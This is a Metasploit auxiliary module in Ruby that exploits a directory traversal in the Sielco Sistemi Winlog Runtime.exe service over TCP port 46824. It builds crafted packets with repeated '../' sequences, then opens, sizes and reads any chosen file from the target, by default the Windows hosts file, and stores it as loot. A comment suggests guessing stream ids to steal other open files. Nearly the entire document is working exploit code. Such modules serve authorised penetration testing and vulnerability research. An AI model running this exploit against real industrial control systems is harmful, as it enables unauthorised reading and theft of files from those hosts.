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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'Sielco Sistemi Winlog Remote File Access',
'Description' => %q{
This module exploits a directory traversal in Sielco Sistemi Winlog. The vulnerability
exists in the Runtime.exe service and can be triggered by sending a specially crafted packet
to the 46824/TCP port. This module has been successfully tested on Sielco Sistemi Winlog Lite
2.07.14.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Luigi Auriemma', # Vulnerability Discovery and PoC
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'OSVDB', '83275' ],
[ 'BID', '54212' ],
[ 'EDB', '19409'],
[ 'URL', 'http://aluigi.altervista.org/adv/winlog_2-adv.txt' ]
]
))
register_options(
[
Opt::RPORT(46824),
OptString.new('FILEPATH', [true, 'The name of the file to download', '/WINDOWS/system32/drivers/etc/hosts']),
OptInt.new('DEPTH', [true, 'Traversal depth', 10])
])
end
def run_host(ip)
# No point to continue if no filename is specified
if datastore['FILEPATH'].nil? or datastore['FILEPATH'].empty?
print_error("#{ip}:#{rport} - Please supply the name of the file you want to download")
return
end
travs = "../" * datastore['DEPTH']
if datastore['FILEPATH'][0] == "/"
travs << datastore['FILEPATH'][1, datastore['FILEPATH'].length]
else
travs << datastore['FILEPATH']
end
connect
# Open File through _TCPIPS_BinOpenFileFP
packet = "\x00" * 20
packet << "\x78" # Opcode
packet << travs # Path traversal
packet << "\x00"
sock.put(packet)
response = sock.get_once(5, 1) || ''
if response.unpack("C").first != 0x78
print_error "#{ip}:#{rport} - Error opening file"
return
end
# The stream allows to identify our file since the
# server could be handling multiple files simultaneously.
# Since the stream identifier is just an offset in an array
# of opened streams it could be used to guess other files
# opened by the server and stole them :-) just an idea....
stream = response[1, 4]
# Get File Length through _TCPIPS_BinGetFileSizeFP
packet = "\x00" * 20
packet << "\x79" # Opcode
packet << stream # stream
packet << "\x00" * 7
sock.put(packet)
response = sock.get_once(5, 1) || ''
if response.unpack("C").first != 0x79
print_error "#{ip}:#{rport} - Error getting the file length"
return
end
file_length = response[1,4].unpack("V").first
# Read File with the help of _TCPIPS_BinGetStringRecordFP
contents = ""
offset = 0
while contents.length < file_length
packet = "\x00" * 20
packet << "\x98" # Opcode
packet << [offset].pack("V") # offset (blocks of 0x55)
packet << stream # stream
packet << "\x00" * 3
sock.put(packet)
response = ""
while response.length < 0x7ac # Packets of 0x7ac (header (0x9) + block of data (0x7a3))
response << sock.get_once(0x7ac-response.length, 5) || ''
end
if response.unpack("C").first != 0x98
print_error "#{ip}:#{rport} - Error reading the file, anyway we're going to try to finish"
end
if (file_length - contents.length) < response.length - 9
contents << response[9, file_length - contents.length] # last packet
else
contents << response[9, response.length] # no last packet
end
offset = offset + 0x17 # 17 blocks in every packet
end
# Close File through _TCPIPS_BinCloseFileFP
packet = "\x00" * 20
packet << "\x7B"
packet << "\x00" * 11
sock.put(packet)
response = sock.get_once(-1, 1) || ''
if response.unpack("C").first != 0x7B
print_error "#{ip}:#{rport} - Error closing file file, anyway we're going to try to finish"
end
disconnect
print_good "#{ip}:#{rport} - File retrieved successfully!"
fname = File.basename(datastore['FILEPATH'])
path = store_loot(
'sielcosistemi.winlog',
'application/octet-stream',
ip,
contents,
fname,
datastore['FILEPATH']
)
print_status("#{ip}:#{rport} - File saved in: #{path}")
end
end